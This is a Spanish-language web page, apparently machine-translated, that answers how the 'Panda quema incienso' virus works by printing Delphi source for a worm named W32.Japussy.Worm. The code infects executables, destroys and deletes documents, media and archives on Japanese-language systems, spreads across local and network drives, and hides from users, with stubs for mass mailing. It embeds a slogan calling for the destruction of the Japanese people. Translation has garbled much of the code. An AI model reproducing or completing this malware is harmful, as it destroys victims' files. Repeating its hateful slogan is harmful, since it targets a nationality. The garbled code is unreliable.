Red de conocimientos sobre prescripción popular - Conocimiento de las drogas - ¿Cómo funciona el virus Panda quema incienso?

¿Cómo funciona el virus Panda quema incienso?

Si quieres hacer incienso de panda, necesitas aprender a programar. El Incienso Panda está escrito en Delphi. Si quieres hacerlo, tienes que aprender Delphi.

El siguiente es el código para quemar incienso panda:

Programa japussy

Usando

windows, sysutils, clases, gráficos, shellapi {, registro}.

Constante

headersize = 82432//El tamaño del virus

icon offset = $ 12eb 8 //El desplazamiento del icono principal del PE; file

p>

//El tamaño compilado en mi delphi5 sp1 puede ser diferente en otras versiones de Delphi.

//Busque la cadena hexadecimal 2800000020 y busque el desplazamiento del icono principal.

{

header size = 38912; //El tamaño del cuerpo del virus comprimido upx

iconoffset = $ 92bc//El icono principal del upx comprimido desplazamiento del archivo pe.

//uso de upx 1.24w: upx-9-8086 japussy.exe.

}

iconsize = $2e8//tamaño del icono principal del archivo pe - 744 bytes

icon tail = desplazamiento del icono+iconsize; //pe archivo principal El cola del icono

id = $44444444//Marca de infección

//Escribe código basura.

Lema = 'Si hay que destruir una raza, debe ser Yamato'+

Si hay un país que necesita ser destruido, ¡debe ser Japón! "+

* * * W32 . japussy . gusano . a * * * ';

{$r *.

res}

Función Registerserviceprocess(dwprocessid, dw type:integer):integer;

stdcall external "kernel 32. dll" //Declaración de función

Definición Variables

tmpfile:string;

si:información de inicio;

pi:process_info;

isjap:boolean = false // Etiqueta del sistema operativo japonés

{Juzga si es win9x}

La función es win9x:boolean;

Definir variables

ver: tosversioninfo ;

Inicio

resultado:=false;

ver . dwosversioninfosize:= sizeof(tosversioninfo);

si no getversionex( ver. ), luego

Salir;

if (ver . dwplatformid = ver _ platform _ win32 _ windows) entonces //win9x

Resultado: = true; /p>

Fin;

{Copiar entre secuencias}

Procesar secuencia de copia (src:tstream; startpos:integer; dst:tstream;

dstartpos: entero; recuento: entero);

Definir variables

scurpos, dcurpos: entero;

Inicio

scur pos:= src . posición;

dcurpos:= dst .seek(dstartpos, 0);

dst.copyfrom(src, recuento);

src.seek(scurpos, 0);

dst.seek(dcurpos, 0) ;

Fin;

{Usar el archivo host por separado del archivo pe infectado}

Procesar el archivo de extracción (nombre de archivo: cadena);

Definir variables

sstream, dstream:tfilestream;

Iniciar

Probar

sstream:= tfilestream create(paramstr (0), fmopenread. o fmsharedenynone);

Pruebe

dstream := tfilestream.create(nombre de archivo, fmcreate);

Pruebe

sstream.seek( headersize, 0); //Omitir la parte del virus del encabezado

dstream.copyfrom(sstream, sstream. size-header size);

Finalmente

dstream.free

Fin;

Finalmente

sstream.free

Fin;

Excepto...

Fin;

Fin;

{Rellenar estructura de información de inicio}

El proceso fillstartupinfo(var si:información de inicio; estado: palabra );

Inicio

si .CB:= tamañode(si

si .

servido:= nil;

si lpdesktop:= nil;

si título de LP:= nil;

si . ;

si . wshowindow:= estado;

si CB reservado 2:= 0;

si .

Fin;

{Envío de correos electrónicos venenosos}

El proceso sendmail

Inicio

//Quién está dispuesto a completarlo ?

Fin;

{Archivo pe infectado}

Proceso de infección un archivo (nombre de archivo: cadena);

Definir variables

hdrstream, srcstream:tfilestream;

icostream, dst stream:tmemorystream;

iid:longint;

aicon:ticon;

aicon:ticon;

p>

infectado, ispe: boolean;

I: entero;

buf: char of array[0. .1]

Inicio

p>

Intenta //Error, el archivo está en uso, sal.

Si comparetext(filename,'japussy.exe') = 0 entonces //si eres tú mismo, no estarás infectado.

Salir;

Infectado:= false;

ispe:= false;

srcstream := tfilestream.create(nombre de archivo, fmopenread );

Pruebe

Para i := 0 a $108, verifique el encabezado del archivo pe.

Iniciar

srcstream.seek(i,sofrombinging);

srcstream.read(buf, 2);

Si (buf [0] = #80) y (buf [1] = #69) entonces //etiqueta PE

Inicio

ispe:= true; // es un archivo pe.

Break;

Fin;

Fin;

srcstream.seek(-4, sofromend); /p>

srcstream.read(iid, 4);

Si (iid = id) o (srcstream.size & lt10240) entonces // los archivos que sean demasiado pequeños no serán infectados.

Infectado:= true

Finalmente

srcstream.free

Fin;

Si está infectado o (No -ispe) Luego //Salir si el archivo está infectado o no.

Salir;

icostream:= tmemorystream.create;

dst stream:= tmemorystream.create;

Probar

aicon:=ticon.create;

Intenta

//Obtén el icono principal (744 bytes) del archivo infectado y guárdalo en la secuencia.

aicon.releasehandle

aicon .handle:= extraer icono(h instancia, pchar (nombre de archivo),

aicon . ;

Finalmente

aicon.free

Fin;

srcstream := tfilestream.create(nombre de archivo, fmopenread);

p>

//Archivo de encabezado

Secuencia HDR:= tfilestream.create(paramstr(0), fmopenread o fmsharedenynone);

Probar

/ /Escribe datos antes del icono principal del virus.

copystream(hdrstream, 0, dststream, 0, icon offset);

//Escribe el icono principal del programa actual.

copystream(icostream, 22, dststream, iconoffset, iconsize);

//Escribe los datos del icono principal del virus en la cola del virus.

copystream(hdrstream, icontail, dststream, icontail, header size-icon tail

//Escribir el programa host

copystream(srcstream, 0, dststream, headersize, src stream size);

//Escribe la bandera infectada

dststream.seek(0, 2);

iid:= $4444444 ;

dststream.write(iid, 4);

Finalmente

hdrstream.free

Fin;

Finalmente

srcstream.free

icostream.free

dststream.savetofile (nombre de archivo); //Reemplazar el archivo host

dststream.free

Fin

Excepto;

Fin

Fin

{Cambiar objetivo Eliminar; el archivo después de escribirlo en el spam}

Procedimiento smashfile(filename: string);

Definir variables

filehandle: integer;

I, tamaño, masa, máx, len: entero;

Iniciar

Probar

setfile atributos(pchar(nombre de archivo), 0); Eliminar el atributo de solo lectura

filehandle := fileopen(filename, fmopenwrite); //Abre el archivo

Prueba

size := getfilesize(filehandle , nil); //Tamaño del archivo

I:= 0;

Aleatorización;

max:= random(15); //Escribe código basura El número de tiempos aleatorios

Si max & lt entonces 5

max:= 5;

masa:= tamaño div max //Tamaño de cada bloque de intervalo

p>

len := longitud(eslogan);

y i<max·do

iniciar

fileseek(filehandle, i * mass, 0); //Posicionamiento

//Escribe código basura para destruir completamente el archivo.

filewrite(filehandle, catchword, len);

inc(1

Fin

Finalmente

<; p>file close(file handle); //Cerrar el archivo

Fin;

deletefile(pchar(nombre de archivo)); //Eliminarlo

Eliminar...fuera

End;

End;

{Obtener la lista de unidades grabables}

Función obtener unidades:cadena ;

Definir variables

tipo de disco: palabra

d: char

cadena

I: entero;

Inicio

Para i := 0 a 25, haz // Atraviesa 26 letras.

Inicio

d:= chr(I+65);

str:= d+':\ ';

tipo de disco := get drive type(pchar(str));

//Obtiene el disco local y el disco de red.

Si (disktype = drive_fixed) o (disktype = drive_remote) entonces

Resultado:=resultado+d;

Fin;

Fin;

{Atravesar directorios, infectar y destruir archivos}

Procesar archivos de bucle (ruta, máscara: cadena);

Definir variables

I, recuento: entero;

fn, text: cadena;

subdir: t cadenas;

búsqueda rec: tsearchrec; >msg:tmsg;

la función es validir(search rec:tsearchrec):integer;

Iniciar

if(search rec . attr & lt; & gt16 ) y (searchrec.name & lt& gt'.') y

(searchrec.name & lt& gt'..') entonces

Resultado:= 0 //No es tabla de contenido.

de lo contrario, si (searchrec.attr = 16) y (searchrec.name & lt& gt'.') y

(searchrec.name & lt& gt'..') entonces

Resultado:= 1 //No es el directorio raíz.

else resultado:= 2; // es el directorio raíz.

Fin;

Inicio

si (findfirst(ruta + máscara, faanyfile, searchrec) = 0) entonces

Inicio p>

Repetir

peekmessage(msg, 0, 0, 0, pm_remove); //Ajusta la cola de mensajes para evitar sospechas.

Si isvaliddir(searchrec) = 0, entonces

Inicio

fn:= ruta+nombre de búsqueda;

ext: =uppercase(extractfileext(fn));

si (ext = '.exe ') o (ext = '.scr ') entonces

Iniciar

Infectar archivo(fn); //Archivo ejecutable infectado

Fin

else if (ext = '.html') o (ext = '.html') o ( text = ' . asp ') luego

Iniciar

//Infectar archivos html y asp y escribir el virus codificado en base64.

//Infectar a todos los usuarios que naveguen por esta página web.

//¿Qué jefe está dispuesto a completarlo?

Fin

De lo contrario, si text = '. wab' luego //archivo de libreta de direcciones de Outlook

Inicio

//Obtener dirección de correo electrónico de Outlook

Fin

De lo contrario, si ext = ' . adc y luego //archivo de autocompletar dirección de foxmail.

Inicio

//Obtener dirección de correo electrónico de Foxmail

Fin

De lo contrario, si ext = 'ind' entonces //archivo de la libreta de direcciones de Foxmail

Inicio

//Obtener dirección de correo electrónico de foxmail

Fin

Otros

Inicio

Si es isjap entonces // es un sistema operativo japonés.

Iniciar

si (ext='.doc') o (ext='.xls') o (ext='.

mdb ') o

(ext = '.mp3 ') o (ext = '.rm ') o (ext = '.ra ') o

(ext = '. wma ') o (ext = '.zip ') o (ext = '.rar ') o

(ext = '.mpeg ') o (ext = '.asf ') o (ext = '.jpg ') o

(ext = '.jpeg ') o (ext = '.gif ') o (ext = '.swf') o

(ext = '.pdf') o (ext = '.chm') o (ext = '.avi') luego

smash file(fn); // Destruye el archivo

Fin ;

Fin;

Fin;

//Dormir durante 200 milisegundos después de infectar o eliminar archivos para evitar sospechas causadas por el uso elevado de la CPU.

Dormir(200);

Hasta (findnext(buscar rec)<>0);

Fin;

findclose (buscar rec);

subdir:= tstringlist.create;

if (findfirst(ruta + '*.*, fadirectory, searchrec) = 0) entonces

Inicio

Repetir

Si isvaliddir(searchrec) = 1, entonces

subdir .add(search rec . name); (findnext(búsqueda rec)<>0);

End;

findclose(búsqueda rec);

count:= subdir.count -1;

para i := 0 para contar los archivos de bucle

(ruta+subdir . cadenas+' \ ',máscara);

freeandnil(subdir );

Fin;

{Recorrer todos los archivos en el disco}

Procesar archivo de infección;

Definir variables

lista de controladores : string;

I, len: integer;

Inicio

Si getacp = 932, entonces //sistema operativo japonés

isjap := verdadero; //¡Vete al infierno!

lista de controladores:= obtener unidades; //Obtener la lista de discos grabables

len:= longitud(lista de controladores);

Mientras sea verdadero, hazlo //Ilimitado Bucle

Inicio

For i := len downto 1 do //Recorre cada unidad de disco.

loopfiles(driverlist + ':\ ', '*.*');//Infectado

sendmail//Enviar correos electrónicos venenosos

Sleep(1000 * 60 * 5); //Dormir durante 5 minutos

Fin;

Fin;

{Se inicia el programa principal}

Inicio

Si es win9x entonces // es win9x.

RegisterServiceProcess(getCurrentProcessID, 1)//Registrarse como proceso de servicio.

else //winnt

Inicio

//El hilo remoto se asigna al proceso del administrador de recursos.

//¿Qué hermano está dispuesto a completarlo?

Fin;

//Si es el virión original.

Si se compara texto(extract filename(paramstr(0)),' japussy.exe' ) = 0, entonces

Archivos de infección //Infección y correos electrónicos

De lo contrario //Ha parasitado el programa host y ha comenzado a funcionar.

Inicio

tmpfile:= paramstr(0); //Crea un archivo temporal

delete(tmpfile, length(tmpfile) - 4, 4);

archivotmp := archivotmp + #32 +'. exe '; // Archivo host real, un espacio más.

extraer archivo(tmpfile); //separarlo

fillstartupinfo(si, SW_show default);

createprocess(pchar(tmpfile),pchar(tmpfile) , nil, nil, true,

0, zero, '.', si, pi); // Crea un nuevo proceso para ejecutar.

infectfiles//Infecciones y correos electrónicos